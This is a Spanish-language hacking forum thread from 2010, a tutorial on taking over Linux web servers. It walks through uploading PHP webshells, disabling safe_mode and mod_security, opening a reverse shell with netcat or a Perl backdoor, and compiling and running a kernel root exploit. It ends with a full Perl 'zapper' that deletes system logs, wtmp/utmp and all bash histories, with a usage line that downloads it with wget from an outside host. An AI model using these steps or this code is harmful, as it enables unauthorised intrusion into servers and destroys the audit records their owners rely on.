send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Rooteando Servidores Linux By:messerschmitt

  • 2 Respuestas
  • 1856 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado RooT_Shell

  • *
  • Underc0der
  • Mensajes: 22
  • Actividad:
    0%
  • Reputación 0
  • Root_Shell <--> Hack_Crack
    • Ver Perfil
    • Email
« en: Junio 23, 2010, 01:26:14 am »
Rooteando Servidores Linux

  • ¿Que es el Rooteo?
  • ¿Que son las WebShells?
  • Permisos.
  • Directiva PHP: safe_mode y forma de aludirla.
  • Consiguiendo una Shell Inversa.
  • Kernel Attack.
  • Borrando logs: zapper en perl.

1 - ¿Que es el Rooteo?

Bien, el Rooteo proviene de la palabra Root, que en ámbitos Linux o Unix se refiere a un Super Usuario el cual posee y ejerce todos los poderes sobre un sistema, tiene permisos de lectura, escritura, ejecución... bajo cualquier circunstancia, de lo que se deduce:

Rooteo = Administrar un sistema con todo privilegio.

El rooteo se realiza mediante el uso de una WebShell (explicado lo que es más abajo), ya haya sido alojada mediante SQLi, RFI, LFI, Xss, hasta un Ataque Flash


2 - ¿Que es una WebShell?

Como su nombre nos indica, Web (de página web) y Shell (línea de comando), es una línea de comando alojada sobre una web que permite ejecutar código (comandos de toda la vida, rm, ls, ping, etc [en linux]) sobre el servidor en el que está alojada.

Están programadas en PHP, gracias a esa funcion de PHP permiten ejecutar código sobre el servidor.

Existen muchas y muy conocidas, C99, R57, Locus, Ajax, N3tSh3ll, en fin, una infinidad, a la hora de trabajar con ellas son muy intuitivas, es como manejarse en un WebFtp pero con más "pecaminosas funciones"


3 - Permisos

Cuando estamos en una WebShell, a la derecha de cada archivo vemos unas letras de este tipo, drwx-r-x

r - Lectura
x - Ejecución
d - Directorio
w - Escritura
- - No hay permiso


4 - Directiva PHP: safe_mode y forma de aludirla

Bien, este punto es muy importante cuando manejamos una WebShell, ya que es la directiva que nos va a dejar trabajar tranquilos, comprueba muchas cosas por razones de seguirdad, las cuales podeis saber que hacen aquí... Esta funcion viene deshabilitada por defecto, pero si os encontrais con ella activada haced lo siguiente:

La forma de aludirlo es subir al mismo path donde se encuentra nuestra WebShell un archivo de configuracion de directivas php, de nombre php y extensión .ini, es decir php.ini.

El código del .ini en cuestión es este:
Código: You are not allowed to view links. Register or Login
register_globals = On
engine = On
safe_mode = Off
safe_mode_exec_dir = On
Safe_mode_include_dir = On
Bien, ya hemos mandado a paseo al safe_mod

Otra cosa, cuando esteis sobre un servidor que sea Apache (lo más normal es que si), tambien necesitareis aludir el mod_security que no se muy bien por qué todavía, cuando esta funcionando no me deja trabajar bien.

En este caso, debemos buscar por todo el directorio de apache o de la web, un fichero que se llame .htaccess.

.htaccess (Acceso de Hiper-Texto) es el nombre por defecto del archivo de configuración de directorios de Apache. Provee de la habilidad para personalizar la configuración de las directivas definidas en el archivo de configuración principal. Las directivas de configuración necesitan estar en el contexto de .htaccess y el usuario necesita los permisos apropiados. Fuente
Bueno, en la WebShell haceis click, y dentro de el añadis (sin borrar nada) estas lineas de codigo (sin borrar nada XD):
Código: You are not allowed to view links. Register or Login
<IfModule mod_security.c>
SecFilterEngine OFF
SecFilterScanPort OFF
SecFilterCheckURLEncoding OFF
SecFilterCheckUnicodeEncoding OFF
</IfModule>
5 - Consiguiendo una Shell Inversa

Bueno, esto de conseguir la Shell es opcional, pero es más comodo manejar la shell remota desde la nuestra.

Para eso nos haremos mano de NetCat

Shell Inversa
Aquí es donde entran en juego los BackDoors normalmente codeados en Perl.

Bueno, su uso no es complicado, en el code como se puede ver tenemos dos if, depende de cual se declare al usar el BackDoor ejecutará /bin/sh (shell de linux) o cmd (shell de Windows) hacia el NetCat que esté a la escucha.

¿Que lio, verdad?
No es para tanto, lo que hace ese BackDoor, es enviar una Shell ya bien sea de Linux o Windows hacia la Ip y Puerto que le hayamos especificado, hace lo mismo que si ejecutasemos nc -d -e /bin/sh TuIp Puerto, pero la pega esque a veces NetCat no viene instalado en ese tipo de sistemas, pero si perl

¿Como usarlo?
Pregunta de oro.

Es fácil, nosotros, al ser una shell inversa debemos abrir nuestra shell y colocar:
Código: You are not allowed to view links. Register or Login
nc -v -L -p 80Eso en nuestra shell, la que tenemos en Inicio, Ejecutar en el caso de Windows, y Aplicaciones, Accesorios en caso de Linux.

Guay, nosotros ya estamos escuchando con NetCat conexiones entrantes, ahora con el code previamente proporcionado (el del BackDoor BackFos) abrimos un editor de texto cualquiera y lo llamamos como queramos .pl, por ejemplo backfos.pl, lo subimos con la WebShell al directorio /tmp de Linux y lo ejecutamos como bien pone en el código.

Si todo sale bien deberiamos recibir la shell donde teniamos a NetCat escuchando.

Por ahora vamos bien, tenemos la Shell de un servidor Linux com muestra la imagen (alcaro que el backdoor de la foto no es BackFoS) :

Peeeeeeeeeeeee eeeeeero, no somos root, por lo cual estamos muy limitados, tenemos solo control parcial sobre el servidor.
Para remediar eso, debemos hacer lo que se denomina un Kernel Attack.



6- Kernel Attack
¿Qué es el Kernel?
Kernel es el Núcleo de un SO, es la parte más interna de un SO, la que permite hacer funcionar el HardWare, SoftWare, cargar Drivers, en Fin, lo fundamental para que una máquina funcione.
Una imagen vale más que mil palabras XD

Bueno, si sabemos que es el Kernel, sabremos que Kernel Attack es algo que ataca al Kernel para poder sacar beneficios.

Eso se realiza mediante Root Exploits, son exploits locales, es decir, que se los cambios se realizan donde fue ejecutado, no remotamente, normalmente programados en C que aprovechan una grave vulnerabilidad del Kernel que use un Sistema Operativo para conseguir dejarnos acceso como root.
Existe un exploit para casi todos los Kernel de Linux.

Para saber que Kernel (no SO) corre un Sistema Operativo Linux, deberemos cojer la shell que hemos recibido cuando escuchabamos y ejecutar lo siguiente:
Código: You are not allowed to view links. Register or Login
uname -rDe lo que nos devolvería esto:
Código: You are not allowed to view links. Register or Login
Linux hostname 2.6.24-19-server #1 SMP Sat Jul 12 00:40:01 UTC 2008 i686 GNU/LinuxBien, examinemos lo que nos dijo:
Linux Hostname - Nombre del Servidor
2.6.24-19 - Versión de Kernel, eso es lo que nos Interesa.

Bien, ahora deberemos hacer mano de Google, e introducir una búsqueda tal que así:
Bueno, cuando tengamos el Exploit, abriremos un editor de texto, pegaremos el code del Root Exploit, y lo guardaremos como lo que sea .c, ejemplo, root.c.

Bien, ahora tenemos que buscar en la WebShell un directorio donde tengamos permisos de ejecucion de archivos.

Leyendo por Internet ví que en /tmp normalmente hay permisos de ejecucion, lectura, escritura y todo eso, así que debemos de introducir:
Código: You are not allowed to view links. Register or Login
cd /tmpDe forma que nos situemos en el directorio tmp de Linux.
Ahora agarramos la WebShell y en las opciones de abajo nos dirigimos a /tmp.

Dejamos de lado la webshell y nos vamos a nuestro ordenador, bajamos el codigo del rootexploit y lo guardamos como root.c, por ejemplo; después nos situimos con nuestra shell en el directorio que esté el root.c, y lo compilamos y lo dejamos binario, es decir, ejecutable:
Código: You are not allowed to view links. Register or Login
gcc root.c -o rootexploitAhí lo compilamos.

Ahora a la webshell otra vez:
Código: You are not allowed to view links. Register or Login
idDe lo que nos debe devolver uid=numeros(nombre), esa es la Id que teneis ahora, que no es root.

Después de ello subimos el archivo binario que nos dejo, que se debe llamar rootexploit mediante la webshell y darle permisos:
Código: You are not allowed to view links. Register or Login
chmod -c 777 rootexploitDamos permisos 777, lectura, escritura, ejecucion, etc, para que pueda realizar su cometido.
De lo que devolverá mode of `rootexploit' changed to 0777 (rwxrwxrwx).
Código: You are not allowed to view links. Register or Login
./rootexploitDe lo que nos devolverá códigos como 0x02 etc...
Después, cuando haya terminado:
Código: You are not allowed to view links. Register or Login
idSi nos devuelve uid=0(root)...
Código: You are not allowed to view links. Register or Login
whoamiSi nos devuelve root...

¡Hemos Rooteado el servidor!
¡Lo estamos administrando!
¡Podemos incluso apagarlo!




[SIZE="4"]7 - Borrando logs: zapper en perl[/SIZE]

Como ahora ya tenemos permisos de escritura, lectura, ejEcucion (root), podemos borrar los logs que quedaron estén en el directorio en el que estén, mediante este Zapper en Perl.

Código: You are not allowed to view links. Register or Login
#########################################################################################################
#                                          log eraser MSRLE v0.1                                        #
#                                                                                                       #
#                                             coded by PRI[ll                                           #
#                                                                                                       #
#                                                03/07/2005                                             #
#                                                                                                       #
#                              Morocco.security.rulz /s irc.gigachat.net -j #MSR                        #
#                                                                                                       #
#                             usage you should run this tool as root (sure =))) exemple:               #
#                                                                                                       #
#                      [root@MOROCCO:/root]# wget www.go0gler.com/MSRLE;chmod 777 MSRLE;./MSRLE         #
#                      !!!!! MSRLE v0.1!!!!!                                                            #
#                      !!!!coded by PRI[ll!!!!                                                          #
#                      [*]erasing default log files (too fast =))                                       #
#                      [*]/var/log/lastlog -erased Ok                                                   #
#                      [*]/var/log/wtmp -erased Ok                                                      #
#                      [*]/etc/wtmp - No such file or directory                                         #
#                                                                                the_r00t3er wuopa, no se pueden poner mailss#
#########################################################################################################
#!usr/bin/perl
use strict;
print "!!!!! MSRLE v0.1!!!!!\n";
print "Morocco.Security.Rulz.Log.Eraser\n";
print "!!!!coded by PRI[ll!!!!\n";
system "echo -e \"\033[01;34m---------erasing default log files (too fast =))---------\033[01;37m\"\n";
if( -e "/var/log/lastlog" )
 {
   system 'rm -rf /var/log/lastlog';
   system "echo -e \"\\033[01;37m [*]/var/log/lastlog -erased Ok\"\n";
 }
else
 {
  system "echo -e \"\\033[01;31m[*]/var/log/lastlog - No such file or directory\\033[01;37m\"\n";
 }
if( -e "/var/log/wtmp" )
 {
   system 'rm -rf /var/log/wtmp';
   system "echo -e \"\\033[01;37m [*]/var/log/wtmp -erased Ok\"\n";
 }
else
 {
  system "echo -e \"\\033[01;31m[*]/var/log/wtmp - No such file or directory\\033[01;37m\"\n";
 }
if( -e "/etc/wtmp" )
 {
   system 'rm -rf /etc/wtmp';
   system "echo -e \"\\033[01;37m [*]/etc/wtmp -erased Ok\"\n";
 }
else
 {
  system "echo -e \"\\033[01;31m[*]/etc/wtmp - No such file or directory\\033[01;37m\"\n";
 }
if( -e "/var/run/utmp" )
 {
   system 'rm -rf /var/run/utmp';
   system "echo -e \"\\033[01;37m [*]/var/run/utmp -erased Ok\"\n";
 }
else
 {
  system "echo -e \"\\033[01;31m[*]/var/run/utmp - No such file or directory\\033[01;37m\"\n";
 }
if( -e "/etc/utmp" )
 {
   system 'rm -rf /etc/utmp';
   system "echo -e \"\\033[01;37m [*]/etc/utmp -erased Ok\"\n";
 }
else
 {
  system "echo -e \"\\033[01;31m[*]/etc/utmp - No such file or directory\\033[01;37m\"\n";
 }
if( -e "/var/log" )
 {
   system 'rm -rf /var/log';
   system "echo -e \"\\033[01;37m [*]/var/log -erased Ok\"\n";
 }
else
 {
  system "echo -e \"\\033[01;31m[*]/var/log - No such file or directory\\033[01;37m\"\n";
 }
if( -e "/var/logs" )
 {
   system 'rm -rf /var/logs';
   system "echo -e \"\\033[01;37m [*]/var/logs -erased Ok\"\n";
 }
else
 {
  system "echo -e \"\\033[01;31m[*]/var/logs - No such file or directory\\033[01;37m\"\n";
 }
if( -e "/var/adm" )
 {
   system 'rm -rf /var/adm';
   system "echo -e \"\\033[01;37m [*]/var/adm -erased Ok\"\n";
 }
else
 {
  system "echo -e \"\\033[01;31m[*]/var/adm - No such file or directory\\033[01;37m\"\n";
 }
if( -e "/var/apache/log" )
 {
   system 'rm -rf /var/apache/log';
   system "echo -e \"\\033[01;37m [*]/var/apache/log -erased Ok\"\n";
 }
else
 {
  system "echo -e \"\\033[01;31m[*]/var/apache/log - No such file or directory\\033[01;37m\"\n";
 }
if( -e "/var/apache/logs" )
 {
   system 'rm -rf /var/apache/logs';
   system "echo -e \"\\033[01;37m [*]/var/apache/logs -erased Ok\"\n";
 }
else
 {
  system "echo -e \"\\033[01;31m[*]/var/apache/logs - No such file or directory\\033[01;37m\"\n";
 }
if( -e "/usr/local/apache/log" )
 {
   system 'rm -rf /usr/local/apache/log';
   system "echo -e \"\\033[01;37m [*]/usr/local/apache/log -erased Ok\"\n";
 }
else
 {
  system "echo -e \"\\033[01;31m[*]/usr/local/apache/log - No such file or directory\\033[01;37m\"\n";
 }
if( -e "/usr/local/apache/logs" )
 {
   system 'rm -rf /usr/local/apache/logs';
   system "echo -e \"\\033[01;37m [*]/usr/local/apache/logs -erased Ok\"\n";
 }
else
 {
  system "echo -e \"\\033[01;31m[*]/usr/local/apache/logs - No such file or directory\\033[01;37m\"\n";
 }
if( -e "/root/.bash_history" )
 {
   system 'rm -rf /root/.bash_history';
   system "echo -e \"\\033[01;37m [*]/root/.bash_history -erased Ok\"\n";
 }
else
 {
  system "echo -e \"\\033[01;31m[*]/root/.bash_history - No such file or directory\\033[01;37m\"\n";
 }
if( -e "/root/.ksh_history" )
 {
   system 'rm -rf /root/.ksh_history';
   system "echo -e \"\\033[01;37m [*]/root/.ksh_history -erased Ok\"\n";
 }
else
 {
  system "echo -e \"\\033[01;31m[*]/root/.ksh_history - No such file or directory\\033[01;37m\"\n";
 }
system "echo -e \"\\033[01;37m[+] -----done all default log and bash_history files erased !!\"\n";
system "echo -e \"\033[01;34m---------Now Erasing the rest of the machine log files (can be long :S)---------\033[01;37m\"\n";
 system 'find / -name *.bash_history -exec rm -rf {} \;';
system "echo -e \"\\033[01;37m[*] all *.bash_history files -erased Ok!\"\n";
 system 'find / -name *.bash_logout -exec rm -rf {} \;';
system "echo -e \"\\033[01;37m[*] all *.bash_logout files -erased Ok!\"\n";
 system 'find / -name log* -exec rm -rf {} \;';
system "echo -e \"\\033[01;37m[*] all log* files -erased Ok!\"\n";
 system 'find / -name *.log -exec rm -rf {} \;';
system "echo -e \"\\033[01;37m[*] all *.log files -erased Ok!\"\n";
system "echo -e \"\033[01;34m-------[+] !done all log files erased![+]-------\033[01;37m\"\n";

Como ya sabemos, le damos permisos 777 y perl zapper.pl.

You are not allowed to view links. Register or Login
« Última modificación: Agosto 16, 2014, 10:32:08 am por Expermicid »

Desconectado OSI

  • *
  • Underc0der
  • Mensajes: 7
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #1 en: Junio 23, 2010, 10:25:34 am »
See , pero quiero el code del exploit  ::)

Desconectado h4ck3r

  • *
  • Underc0der
  • Mensajes: 7
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Junio 25, 2010, 08:22:07 pm »
Simplemtente BUENISIMO!!

 

¿Te gustó el post? COMPARTILO!



Vulnerabilidad en Kali Linux Sana 2.0 CVE-2015-2008 Auditoria Omar Rodriguez

Iniciado por DaRK UnLiMiTeD

Respuestas: 0
Vistas: 2374
Último mensaje Septiembre 28, 2015, 10:37:40 pm
por DaRK UnLiMiTeD
Dirty COW - CVE-2016-5195 explotando vulnerabilidad en el Kernel de Linux

Iniciado por BrowserNet

Respuestas: 5
Vistas: 2859
Último mensaje Diciembre 26, 2016, 03:44:26 am
por Dr4g0n4Y
Nelson.c Local Root Linux Kernel <= 2.6.37

Iniciado por hdbreaker

Respuestas: 0
Vistas: 2724
Último mensaje Junio 22, 2012, 10:10:00 pm
por hdbreaker
Desbordando el buffer en linux x86 (III) [ASLR bypass]

Iniciado por q3rv0

Respuestas: 1
Vistas: 2224
Último mensaje Junio 23, 2015, 11:59:00 am
por roadd
Desbordando el buffer en linux x86 (II) [NOP Sled]

Iniciado por q3rv0

Respuestas: 2
Vistas: 1929
Último mensaje Septiembre 28, 2014, 12:15:51 pm
por Pr0ph3t